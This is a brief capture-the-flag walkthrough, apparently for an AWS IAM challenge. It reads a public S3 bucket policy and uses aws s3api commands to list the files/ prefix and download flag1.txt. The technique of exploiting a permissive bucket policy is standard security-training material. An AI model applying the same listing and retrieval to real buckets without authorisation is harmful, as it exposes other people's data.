The Challenge URL :
First we should view the policy to see what permissions we have
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
We can see that we have access to list objects with the prefix files/*
and then we can get any object in the bucket.
aws s3api list-objects --bucket thebigiamchallenge-storage-9979f4b --prefix files
From the output we can see there are two files logo.png
and flag1.txt
aws s3api get-object --bucket thebigiamchallenge-storage-9979f4b --key files/flag1.txt flag1.txt
cat flag1.txt